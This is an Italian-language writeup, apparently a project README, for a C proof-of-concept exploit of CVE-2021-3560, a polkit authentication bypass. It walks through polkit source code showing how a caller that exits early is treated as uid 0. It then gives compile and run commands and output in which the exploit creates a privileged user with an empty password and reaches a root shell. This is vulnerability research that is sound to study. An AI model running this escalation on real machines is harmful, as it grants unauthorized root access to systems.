
un exploit affidabile basato su C e writeup per CVE-2021-3560.
un exploit affidabile basato su C per CVE-2021-3560.
Ieri mi sono imbattuto in questo post del blog di Kevin Backhouse (lo scopritore di questa vulnerabilità), ho provato i comandi bash forniti nel post e, con mia sorpresa, ha funzionato sulla mia macchina Kali Linux!
CVE-2021-3560 è un bypass dell'autenticazione su polkit, che consente a un utente non privilegiato di chiamare metodi privilegiati tramite DBus. La PoC sfrutta questo bug per chiamare 2 metodi privilegiati forniti da accountsservice (CreateUser e SetPassword), permettendoci di creare un utente privilegiato e poi impostarne una password.
polkit verifica se il chiamante è autorizzato a invocare tale metodo; lo fa controllando prima l'user id del chiamante: se è zero, il chiamante è considerato root e l'azione è consentita senza richiedere l'autenticazione; altrimenti viene chiesta la password dell'utente.
La funzione polkit_system_bus_name_get_creds_sync() invoca 2 metodi per ottenere UID e PID del chiamante, GetConnectionUnixUser e GetConnectionUnixProcessID. Il risultato di queste chiamate viene scritto nella struct data di tipo AsyncGetBusNameCredsData (questa struct è inizializzata a 0) dalla funzione di callback on_retrieved_unix_uid_pid(), e polkit_system_bus_name_get_creds_sync() rimane in attesa che la funzione di callback imposti un errore oppure UID e PID.
static gboolean
polkit_system_bus_name_get_creds_sync (PolkitSystemBusName *system_bus_name,
guint32 *out_uid,
guint32 *out_pid,
GCancellable *cancellable,
GError **error)
{
gboolean ret = FALSE;
AsyncGetBusNameCredsData data = { 0, }; // intialize to 0
GDBusConnection *connection = NULL;
GMainContext *tmp_context = NULL;
connection = g_bus_get_sync (G_BUS_TYPE_SYSTEM, cancellable, error);
if (connection == NULL)
goto out;
data.error = error;
tmp_context = g_main_context_new ();
g_main_context_push_thread_default (tmp_context);
g_dbus_connection_call (connection,
"org.freedesktop.DBus", /* name */
"/org/freedesktop/DBus", /* object path */
"org.freedesktop.DBus", /* interface name */
"GetConnectionUnixUser", /* method */
g_variant_new ("(s)", system_bus_name->name),
G_VARIANT_TYPE ("(u)"),
G_DBUS_CALL_FLAGS_NONE,
-1,
cancellable,
on_retrieved_unix_uid_pid, // callback funtion
&data); // data is passed to the callback function along with the reply from the method
g_dbus_connection_call (connection,
"org.freedesktop.DBus", /* name */
"/org/freedesktop/DBus", /* object path */
"org.freedesktop.DBus", /* interface name */
"GetConnectionUnixProcessID", /* method */
g_variant_new ("(s)", system_bus_name->name),
G_VARIANT_TYPE ("(u)"),
G_DBUS_CALL_FLAGS_NONE,
-1,
cancellable,
on_retrieved_unix_uid_pid, // callback funtion
&data); // data is passed to the callback function along with the reply from the method
while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error)) // block while on_retrieved_unix_uid_pid() is not called yet
g_main_context_iteration (tmp_context, TRUE);
La funzione di callback on_retrieved_unix_uid_pid() viene invocata dopo ogni chiamata di metodo per recuperare la risposta (UID e PID) o impostare un errore; questa funzione chiama g_dbus_connection_call_finish() per recuperare la risposta. Se si verifica un errore, imposta data.caught_error a TRUE e ritorna (data.uid e data.pid restano ancora 0). Altrimenti assegna il valore recuperato (UID o PID) a data.uid o data.pid (a seconda del valore recuperato) e poi ritorna.
static void
on_retrieved_unix_uid_pid (GObject *src, // connection
GAsyncResult *res, // Async result object
gpointer user_data) // data paramter passed from previous function
{
AsyncGetBusNameCredsData *data = user_data;
GVariant *v;
v = g_dbus_connection_call_finish ((GDBusConnection*)src, res,
data->caught_error ? NULL : data->error); // finish and get the reply
if (!v) // error ??
{
data->caught_error = TRUE;
}
else
{
guint32 value;
g_variant_get (v, "(u)", &value); // unpack the reply, get UINT32 (u)
g_variant_unref (v);
if (!data->retrieved_uid) // GetConnectionUnixUser method
{
data->retrieved_uid = TRUE;
data->uid = value;
}
else
{
g_assert (!data->retrieved_pid); // GetConnectionUnixProcessID method
data->retrieved_pid = TRUE;
data->pid = value;
}
}
}
I metodi GetConnectionUnixUser e GetConnectionUnixProcessID restituiscono l'UID e il PID se li trovano (il processo chiamante è ancora connesso al bus), oppure un errore se si è verificato un errore (ad es.: processo chiamante terminato).
Quando data.uid e data.pid vengono impostati, oppure viene impostato data.caught_error, la funzione polkit_system_bus_name_get_creds_sync() prosegue: è qui che risiede la vulnerabilità. polkit_system_bus_name_get_creds_sync() non restituisce un errore se data.caught_error è impostato; al contrario, assegna a out_uid qualunque valore sia in data.uid e restituisce TRUE (anche se data.caught_error è impostato). out_pid è un puntatore a una variabile guint32 passata a polkit_system_bus_name_get_creds_sync() quando viene chiamata da :
static gboolean
polkit_system_bus_name_get_creds_sync (PolkitSystemBusName *system_bus_name,
guint32 *out_uid, // pointer
guint32 *out_pid, // NULL
GCancellable *cancellable,
GError **error)
{
[snip]
while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error)) // wait for the callback function to handle reply
g_main_context_iteration (tmp_context, TRUE);
if (out_uid) // TRUE
*out_uid = data.uid; // set it even if there is an error [!]
if (out_pid) // FALSE
*out_pid = data.pid; // set it even if there is an error [!]
ret = TRUE; // return TRUE even if there is an error [!]
out:
if (tmp_context)
{
g_main_context_pop_thread_default (tmp_context);
g_main_context_unref (tmp_context);
}
if (connection != NULL)
g_object_unref (connection);
return ret;
sfruttamento:
Se un processo A chiama un metodo privilegiato tramite DBus, polkit controllerà l'UID del chiamante. Se il processo A termina subito dopo aver inviato il messaggio, i metodi GetConnectionUnixUser e GetConnectionUnixProcessID restituiranno un errore perché il processo chiamante non esiste più. La funzione di callback on_retrieved_unix_uid_pid() imposterà data.caught_error a TRUE; data.uid e data.pid rimarranno invariati (il che significa che entrambi saranno impostati a 0, poiché la struct data è inizializzata a 0). La funzione polkit_system_bus_name_get_creds_sync() continuerà l'esecuzione, imposterà out_uid a data.uid (0) e restituirà TRUE.
Un paio di funzioni continueranno a restituire il falso UID (0), finché polkit_backend_session_monitor_get_user_for_subject() non restituisce user_of_subject (costruito dal falso UID) alla funzione check_authorization_sync(), la quale verifica se l'UID è root chiamando identity_is_root_user(user_of_subject), che restituirà TRUE e il processo A sarà autorizzato.
static PolkitAuthorizationResult *
check_authorization_sync (PolkitBackendAuthority *authority,
PolkitSubject *caller,
PolkitSubject *subject,
const gchar *action_id,
PolkitDetails *details,
PolkitCheckAuthorizationFlags flags,
PolkitImplicitAuthorization *out_implicit_authorization,
gboolean checking_imply,
GError **error)
{
[snip]
user_of_subject = polkit_backend_session_monitor_get_user_for_subject (priv->session_monitor,
subject, NULL,
error);
if (user_of_subject == NULL) // false
goto out;
/* special case: uid 0, root, is _always_ authorized for anything */
if (identity_is_root_user (user_of_subject)) // true
{
result = polkit_authorization_result_new (TRUE, FALSE, NULL); // authorize the caller
goto out;
}
[snip]
Ho deciso di scrivere una PoC usando l'API C di dbus. Non ho usato sleep() in attesa che il messaggio venisse inviato al servizio di destinazione; al contrario, le funzioni DBus forniscono un parametro di timeout, quindi (ab)usando questo parametro possiamo forzare la funzione a restituire il controllo subito dopo l'invio del messaggio, per poi terminare il processo. Questo ci permette di sfruttare la vulnerabilità su polkit e bypassare l'autenticazione. Fate riferimento a questo post del blog per i dettagli tecnici.
user@host: gcc -Wall exploit.c -o exploit $(pkg-config --libs --cflags dbus-1)
user@host: ./exploit
user@host:~/CVE-2021-3560-testing$ gcc -Wall exploit.c -o exploit $(pkg-config --libs --cflags dbus-1)
user@host:~/CVE-2021-3560-testing$ ./exploit
[*] creating "pwned-1624301069" user ...
[!] user has been created!
[*] user: pwned-1624301069, uid: 1007
[*] setting an empty password for "pwned-1624301069" user..
[*] an empty password has been set for "pwned-1624301069" user!
[!] run: "sudo su root" as "pwned-1624301069" user to get root
┌──(pwned-1624301069㉿host)-[/home/user/CVE-2021-3560-testing]
└─$ sudo su root
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
root@host:/home/user/CVE-2021-3560-testing# id
uid=0(root) gid=0(root) groups=0(root)
polkit_system_bus_name_get_user_sync()